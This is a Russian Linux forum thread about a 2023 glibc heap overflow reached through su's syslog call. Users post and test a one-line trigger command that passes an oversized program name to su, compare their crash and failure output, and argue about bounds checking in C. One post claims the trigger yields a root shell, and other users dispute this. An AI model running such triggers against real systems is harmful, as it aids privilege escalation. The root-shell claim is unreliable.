LINUX.ORG.RU

Переполнение кучи в glibc и другое

 ,


0

4

Рунет сегодня ожил, а тут свежачок подвезли:

https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=6bd0e4efcc78f3c0115e5ea9739a1642807450da;hp=8aeec0eb5a18f9614d18156f9d6092b3525b818c

И ещё другие баги в glibc 2.37 типа порчи памяти в qsort.

Если бегло взглянуть на код исправления по ссылке, ясно, что это не что-то совсем уж тривиальное, т.е. именно те случаи, ради которых выдумываются и продвигаются все эти ады и расты. Но так же понятно, что в существенное количество устройств такие баги даже не смогут теоретически попасть, потому что будут исправлены ещё до того, как конторы дойдут до версии glibc 2022г.в.

Перемещено hobbit из talks

★★★★★

Проверяйте:

$ (exec -a "`printf '%0128000x' 1`" /usr/bin/su < /dev/null)

https://www.opennet.ru/opennews/art.shtml?num=60528

sudo критикуют, а тут в glibc повышение привилегий подвезли

GLIBC: Объясните мне этот ужос

greenman ★★★★★
()
Последнее исправление: greenman (всего исправлений: 2)
Ответ на: комментарий от scanner

Ты посмотри, что делается! Хипстеры до святого добрались! До глибцев!

После 2017 года она не то чтобы уже даже тормозит. Когда они наконец-то сподобились аллокатор переписать.

cumvillain
()
Ответ на: комментарий от greenman
$ (exec -a "`printf '%0128000x' 1`" /usr/bin/su < /dev/null)
bash: /usr/bin/su: Нет такого файла или каталога
$ (exec -a "`printf '%0128000x' 1`" /bin/su < /dev/null)

Второе вывело много нулей и единицу в конце и «сбой при проверке подлинности». А что делает exec -a ?

firkax ★★★★★
()
Ответ на: комментарий от firkax

нужен корректный код

Подумай вот над чем: почему ядро, в отличии от быдлокодеров, входные буферы таки проверяет. Ведь могли бы и написать: некорректные данные ub и роняют ядро в панику :)

cumvillain
()
Ответ на: комментарий от PPP328

У меня не робит, «сбой при проверке подлинности» со скобками, без них сегфолт и краш. xubuntu 20.04

Так и должно быть. Только после этой надписи появляется консоль рута.

$ dpkg -l | grep libc-bin
ii  libc-bin                              2.31-0ubuntu9.14                             amd64        GNU C Library: Binaries
$ uname -a
Linux kpgitlab 5.4.0-170-generic #188-Ubuntu SMP Wed Jan 10 09:51:01 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 20.04.6 LTS
Release:        20.04
Codename:       focal
$ exec -a "`printf '%0128000x' 1`" /usr/bin/su < /dev/null
Password: 000000000...
...
0000000001: Authentication failure
root@localhost:~# id
uid=0(root) gid=0(root) groups=0(root)
iron ★★★★★
()
Ответ на: комментарий от iron

Не появляется.

alex@thinkl13:~$ $(exec -a "`printf '%0128000x' 1`" /usr/bin/su < /dev/null)
Пароль: 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
...
0000000000000000000000000000001: Сбой при проверке подлинности
alex@thinkl13:~$ id
uid=1000(alex) gid=1000(alex) группы=1000(alex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),121(lpadmin),131(lxd),132(sambashare)
$ dpkg -l | grep libc-bin
ii  libc-bin                                                    2.31-0ubuntu9.9                             amd64        GNU C Library: Binaries
alex@thinkl13:~$ uname -a
Linux thinkl13 5.15.0-84-generic #93~20.04.1-Ubuntu SMP Wed Sep 6 16:15:40 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
alex@thinkl13:~$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 20.04.6 LTS
Release:	20.04
Codename:	focal
PPP328 ★★★★★
()
Последнее исправление: PPP328 (всего исправлений: 2)
Ответ на: комментарий от iron

Я вот даже не знаю, как мне сказать, работает, или не работает у меня. Потому что нормально в терминале стартовало, выдавало кучу нулей с единицей и всё. Терминал не закрывался. Без $() закрывался. Но рута не давало ни раньше c 2.38-r9, ни сейчас c 2.38-r10.

imul ★★★★★
()
Ответ на: комментарий от iron

Вижу у тебя в копипасте после Authentication failure символ $. Значит не рутовая. Я вообще-то отвечал не тебе про скобки. И мой комментарий относился только к «как запустить, чтобы терминал не закрылся». А не к эскалации прав.

imul ★★★★★
()
Ответ на: комментарий от cumvillain

Ты специально клоунаду устраиваешь или как?

  1. речь не про входные буферы а про проверки границ при каждом присваивании чего-то в середине кода

  2. а у ядра вообще требования безопасности по отношению даже к умышленно битым входным данным (при пересечении границы между юзерспейсом и ядром имеется ввиду)

firkax ★★★★★
()
Последнее исправление: firkax (всего исправлений: 2)
Ответ на: комментарий от firkax

речь не про входные буферы а про проверки границ при каждом присваивании чего-то в середине кода

А какая разница? Надо просто валидный код писать и нормально будет.

а у ядра вообще требования безопасности по отношению даже к умышленно битым входным данным (при пересечении границы между юзерспейсом и ядром имеется ввиду)

Ну не передавай ему буферы плохие и все будет пучком. Зачем проверки какие-то делать? Программист должен быть ответственным и не передавать невалидные значения.

cumvillain
()
Ответ на: комментарий от cumvillain

Ты реально глупый? Ядро пишут одни, данные в него передают другие, и эти люди в большинстве своём не знакомы даже. А что ещё намного важнее - ядру битые данные может передать злоумышленник специально и оно не должно от этого ни в чём повредиться.

Что касается libc то в ней где-то проверки есть, где-то нет и не будет никогда. Потому что первый аргумент см. выше, программисты libc не отвечают за баги авторов приложений, а так же иметь какой-то периметр проверок, пусть и не строгий, в целом полезно. Или даже несколько таких периметров. Но не засовывать их в каждую строчку в отрыве от контекста как это делают языки с проверкой границ.

firkax ★★★★★
()
Ответ на: комментарий от imul

Без $() закрывался.

Не нужен $, это показывает ввод в сеансе юзера, не более. Скопипастил с опеннета.

Ну вот так яснее: (exec -a "`printf '%0128000x' 1`" /usr/bin/su < /dev/null)

И что, неужели кто-то получил не сбой, а рутовую консоль? Вроде это не эксплоит.

Вот как у меня:

[user1@comp1 ~]$ export LC_ALL=C
[user1@comp1 ~]$ (exec -a "`printf '%0128000x' 1`" /usr/bin/su < /dev/null)
Password: Segmentation fault (core dumped)
greenman ★★★★★
()
Последнее исправление: greenman (всего исправлений: 4)
Ответ на: комментарий от greenman

После обновления glibc до патченной 2.38-8

[user1@comp1 ~]$ export LC_ALL=C
[user1@comp1 ~]$ (exec -a "`printf '%0128000x' 1`" /usr/bin/su < /dev/null)
Password: 000000000000000...
<здесь масса нулей>
...0001: Authentication token manipulation error
[user1@comp1 ~]$

(после Segmentation fault (core dumped) тоже сохраняется сеанс юзера, перехода в рутовый сеанс нет.)

greenman ★★★★★
()
Последнее исправление: greenman (всего исправлений: 1)
Ответ на: комментарий от greenman

Ну сегфолт там от битья памяти этими 128к нулями в лог-сообщении, так что вполне могла и рутовая консоль получиться. Может быть надо было не нули для этого прислать а что-то другое (printf тут просто для генерации этой длинной строки, а так её можно побайтово сгенерить любую, чтобы записать в битую память именно то что нужно а не мусор).

Но у меня и сегфолта нет. (glibc:i386 2.31-13+deb11u7)

(после Segmentation fault (core dumped) тоже сохраняется сеанс юзера, перехода в рутовый сеанс нет.)

Если su сегфолтнулось то конечно рут консоли не будет. Там суть была именно в том, что su хочет выдать лог про неудачу, но пока выводит его - портит свои внутренние переменные из-за протёкшего буфера строки и теперь уже считает что авторизация удалась.

firkax ★★★★★
()
Последнее исправление: firkax (всего исправлений: 2)
Ответ на: комментарий от PPP328

Не терминал а бывший шелл.

exec запускает в pid-е баша su, потом su либо выходит с ошибкой авторизации либо у некоторых сегфолтится, ну и терминал, видя что его консольный потомок процесс умер, закрывается.

firkax ★★★★★
()
Ответ на: комментарий от firkax

Ты реально глупый? Ядро пишут одни, данные в него передают другие, и эти люди в большинстве своём не знакомы даже. А что ещё намного важнее - ядру битые данные может передать злоумышленник специально и оно не должно от этого ни в чём повредиться.

А зачем ты допускаешь вредосный код? Не ставь вредоносные программы и проблем не будет. Очевидно же.

Что касается libc то в ней где-то проверки есть, где-то нет и не будет никогда. Потому что первый аргумент см. выше, программисты libc не отвечают за баги авторов приложений, а так же иметь какой-то периметр проверок, пусть и не строгий, в целом полезно. Или даже несколько таких периметров. Но не засовывать их в каждую строчку в отрыве от контекста как это делают языки с проверкой границ.

Так вообще проверки не нужны, зачем они нужны если ты просто везде все делаешь корректно и ничего не ломается. Ты реально глупый?

cumvillain
()
Последнее исправление: cumvillain (всего исправлений: 1)
Ответ на: комментарий от firkax

Потому что первый аргумент см. выше, программисты libc не отвечают за баги авторов приложений

Только в этот раз баг в libc, если что.

Ну и проверку они таки добавили. Аж целых две:

+    if (!(0 <= vl && vl < len))
+      buf = NULL;

Вот серьезно, сишные пердолики со своими экономиями это какой-то бич цивилизации. В итоге все эти сэкономленные проверки все равно попадают в код, только перед этим вызывая RCE и эскалацию привилегий.

cumvillain
()
Ответ на: комментарий от cumvillain

А зачем ты допускаешь вредосный код?

Что значит «я допускаю»? На многопользовательских серверах у разных юзеров штатно к ним шелл-доступ, но не должно быть доступа портить ядро.

Не ставь вредоносные программы и проблем не будет

Ну и это другое. Одно дело когда программист или команда пишет монолитный продукт - она может проверить что продукт внутреннее консистентный и одна его часть не будет слать другой битые данные. Хотя, повторю, некоторые периметры проверок вполне могут использоваться для упрощения ловли багов. А когда мы имеем комп с юзером, то в худшем случае юзер вообще ИТ-неграмотный и ставит всякий мусор на него, а даже если случай не худший, то даже программист обычно не имеет времени на аудит кода всего софта, что он использует. Поэтому дополнительные автоматические барьеры к распространению последствий багов вполне полезны. Но это именно барьеры между модулями, а не в каждой строчке исходника, вторые действительно будут создавать бесполезный оверхед.

firkax ★★★★★
()
Ответ на: комментарий от firkax

Что значит «я допускаю»? На многопользовательских серверах у разных юзеров штатно к ним шелл-доступ, но не должно быть доступа портить ядро.

Не допускай недоверенных пользователей. Duh.

Ну и это другое.

Начались отмазки.

Одно дело когда программист или команда пишет монолитный продукт - она может проверить что продукт внутреннее консистентный и одна его часть не будет слать другой битые данные.

Ахахаха. Нет, не может. Пока никому не удавалось.

cumvillain
()
Последнее исправление: cumvillain (всего исправлений: 1)
Ответ на: комментарий от cumvillain

Только в этот раз баг в libc, если что.

Ну, баг в libc значит баг в libc. Какой-то нуб кодил функцию и устроил его. А твоя цитата кода - это не проверка границ массива, а логическая обработка ответа от vsnprintf. Она и в старом коде была, но чуть другая - её не добавляли и вообще причиной проблем была не она.

Впрочем, код как до патча, так и после, выглядит как-то стрёмно, я бы так писать не стал (уже начиная с нечитабельного gnu-стиля исходника). Не удивлюсь если там и сейчас какой-то баг остался.

firkax ★★★★★
()
Ответ на: комментарий от cumvillain

У кого-то бизнес построен на предоставлении шелла недоверенным юзерам. А ты предлагаешь видимо его закрыть. Впрочем, ты прав, технически к твоему предложению не придраться, но зато оно (предложение) будет послано нафиг коммерческими отделами.

Ахахаха. Нет, не может. Пока никому не удавалось.

Даже если так, я уже писал - периметры проверок норм. Но не путай их с проверками в каждой строчке.

firkax ★★★★★
()
Ответ на: комментарий от firkax

А твоя цитата кода - это не проверка границ массива, а логическая обработка ответа от vsnprintf.

Ведь один if branch после каждой функции это логическая обработка, а другой if branch – это минус миллиард перфоманса просто так. Noted.

cumvillain
()
Последнее исправление: cumvillain (всего исправлений: 1)
Ответ на: комментарий от firkax

У кого-то бизнес построен на предоставлении шелла недоверенным юзерам. А ты предлагаешь видимо его закрыть. Впрочем, ты прав, технически к твоему предложению не придраться, но зато оно (предложение) будет послано нафиг коммерческими отделами.

То есть предложение тратить миллиарды человекочасов на (обреченные на провал, как мы видим) выискивание сишных ошибок выгоднее? Каким образом?

cumvillain
()
Ответ на: комментарий от cumvillain

Какой другой бранч, ты о чём? Функция заявлена как принимающая любую длину итоговой строки и должна корректно отработать корректные входные данные. Вот если бы у неё было заявлено, что присылать ей форматы, приводящие к переполнению определённого порога, нельзя, то да, она могла бы законно хоть упасть, хоть побить данные на таком входе. Это не вопрос «ставить или не ставить проверку», это просто разные функции. И что-то мне кажется, что второй вариант (который молча бьёт память если строка оказалась длиннее чем надо) программистами востребован не был, поэтому сделали первый, вот и всё.

Впрочем повторюсь, смысл вообще происходящего с беглого осмотра кода не особо понятен, по-моему её надо переписать полностью в нормальный вид.

firkax ★★★★★
()